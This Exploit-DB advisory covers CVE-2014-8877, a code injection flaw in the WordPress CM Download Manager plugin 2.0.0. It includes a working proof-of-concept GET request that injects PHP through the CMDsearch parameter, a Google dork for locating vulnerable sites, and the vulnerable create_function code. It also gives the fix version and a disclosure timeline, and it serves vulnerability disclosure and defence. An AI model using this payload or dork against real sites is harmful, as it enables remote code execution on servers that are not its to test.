WordPress Plugin CM Download Manager 2.0.0 - Code Injection

EDB-ID:

35324




Platform:

PHP

Date:

2014-11-22


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# Vulnerability title: Code Injection in Wordpress CM Download Manager plugin 2.0.0
# CVE: CVE-2014-8877 
# Plugin: CM Download Manager plugin
# Vendor: CreativeMinds - https://www.cminds.com/
# Link download: https://wordpress.org/plugins/cm-download-manager/
# Affected version: 2.0.0 and previous version
# Fixed version: 2.0.4
# Google dork: inurl:cmdownloads
# Reported by: Le Ngoc Phi - phi.n.le (at) itas (dot) vn [email concealed]
# Credits to ITAS Team - www.itas.vn

::DESCRITION::

The code injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker gains full control of the application and the ability to use any operating system functions that are available to the scripting environment.

GET /cmdownloads/?CMDsearch=".phpinfo()." HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1.2.1698795018.1415614778; _gat=1; PHPSESSID=okt6c51s4esif2qjq451ati7m6; cmdm_disclaimer=Y; JSB=1415614988879 
Connection: keep-alive

Vulnerable file:/wp-content/plugins/cm-download-manager/lib/controllers/CmdownloadC
ontroller.php
Vulnerable code: (Line: 130 -> 158)

public static function alterSearchQuery($search, $query)
{
if( ( (isset($query->query_vars['post_type']) && $query->query_vars['post_type'] == CMDM_GroupDownloadPage::POST_TYPE) && (!isset($query->query_vars['widget']) || $query->query_vars['widget'] !== true) ) && !$query->is_single && !$query->is_404 && !$query->is_author && isset($_GET['CMDsearch']) )
{
global $wpdb;
$search_term = $_GET['CMDsearch'];
if( !empty($search_term) )
{
$search = '';
$query->is_search = true;
// added slashes screw with quote grouping when done early, so done later
$search_term = stripslashes($search_term);
preg_match_all('/".*?("|$)|((?<=[\r\n\t ",+])|^)[^\r\n\t ",+]+/', $search_term, $matches);
$terms = array_map('_search_terms_tidy', $matches[0]);

$n = '%';
$searchand = ' AND ';
foreach((array) $terms as $term)
{
$term = esc_sql(like_escape($term));
$search .= "{$searchand}(($wpdb->posts.post_title LIKE '{$n}{$term}{$n}') OR ($wpdb->posts.post_content LIKE '{$n}{$term}{$n}'))";
}
add_filter('get_search_query', create_function('$q', 'return "' . $search_term . '";'), 99, 1);
remove_filter('posts_request', 'relevanssi_prevent_default_request');
remove_filter('the_posts', 'relevanssi_query');
}
}
return $search;
}

::SOLUTION::
Update to version 2.0.4

::DISCLOSURE::
2014-11-08 initial vendor contact
2014-11-10 vendor response
2014-11-10 vendor confirmed 
2014-11-11 vendor release patch
2014-11-14 public disclosure

::REFERENCE::
https://downloadsmanager.cminds.com/release-notes/
http://www.itas.vn/news/code-injection-in-cm-download-manager-plugin-66.
html?language=en

::COPYRIGHT::
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